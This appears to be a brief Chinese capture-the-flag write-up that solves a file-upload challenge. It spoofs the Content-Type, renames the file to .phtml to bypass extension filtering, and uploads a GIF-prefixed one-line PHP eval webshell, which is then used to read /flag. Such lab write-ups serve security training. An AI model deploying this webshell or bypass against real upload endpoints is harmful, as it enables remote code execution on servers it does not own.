例題為:[極客大挑戰(zhàn) 2019]Upload 1
1、該題提示為圖片上傳,所以提示文件類型是 image/jpeg

2、所以我們用burpsuite做代理將文件類型更改,達到上傳一句話木馬的目的。
3、新建文件名為123.php的文件

4、嘗試上傳

此時應(yīng)更改文件類型,將下圖所示的文件類型改為imag/jpeg

如圖所示:

發(fā)現(xiàn)提示信息為:

所以我們猜測有文件后綴名檢測。
常見的繞過文件后綴名檢測的寫法:
php,php3,php4,php5,phtml,Php?
那么我們就更改文件名,改為2.phtml
所用的一句話為:GIF89a? <script language="php">eval($_REQUEST[shell])</script>
目的是繞過php檢測

然后我們用菜刀連接

在虛擬終端中輸入:cat /flag 即可查看找到flag
